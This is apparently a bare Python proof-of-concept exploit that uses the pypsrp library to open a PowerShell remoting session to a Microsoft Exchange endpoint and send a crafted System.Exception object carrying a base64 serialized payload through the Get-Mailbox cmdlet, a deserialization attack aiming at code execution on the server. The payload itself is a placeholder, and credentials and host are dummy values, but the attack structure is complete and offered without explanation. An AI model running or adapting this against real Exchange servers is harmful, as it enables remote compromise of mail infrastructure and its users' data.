from pypsrp.powershell import PowerShell, RunspacePool
from pypsrp.wsman import WSMan
from pypsrp.complex_objects import ComplexObject, ObjectMeta
import base64


class ExceptionObject(ComplexObject):
    def __init__(self, SerializationData):
        super(ExceptionObject, self).__init__()
        self._adapted_properties = (
            ('SerializationData', ObjectMeta('BA', name='SerializationData')),
        )
        self._types = ['System.Exception', 'System.Object']
        self.SerializationData = SerializationData


wsman = WSMan(server='netbios', username='username', password='password',path='powershell', ssl=False, port=80, auth='kerberos', scheme='http',)
with RunspacePool(wsman, configuration_name='Microsoft.Exchange') as pool:
    ps = PowerShell(pool)
    payload = base64.b64decode('payload here')
    ps.add_cmdlet('Get-Mailbox').add_argument(ExceptionObject(payload)).invoke()